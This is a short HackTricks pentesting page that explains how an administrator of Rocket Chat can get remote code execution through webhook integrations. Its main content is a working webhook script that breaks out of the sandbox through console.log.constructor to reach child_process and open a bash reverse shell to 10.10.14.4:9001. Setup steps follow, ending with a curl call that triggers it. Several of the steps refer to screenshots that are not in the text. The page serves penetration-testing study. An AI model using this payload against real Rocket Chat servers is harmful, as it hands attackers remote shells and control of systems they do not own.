hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md
Carlos Polop 6e4ad0894d c
2024-07-19 11:08:05 +02:00

3.9 KiB

Rocket Chat

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %} {% endhint %}

{% embed url="https://websec.nl/" %}

RCE

If you are admin inside Rocket Chat you can get RCE.

  • Got to Integrations and select New Integration and choose any: Incoming WebHook or Outgoing WebHook.
    • /admin/integrations/incoming
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
  • Configure the WebHook (the channel and post as username must exists):
  • Configure WebHook script:
  • Save changes
  • Get the generated WebHook URL:
  • Call it with curl and you shuold receive the rev shell

{% embed url="https://websec.nl/" %} {% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %} {% endhint %}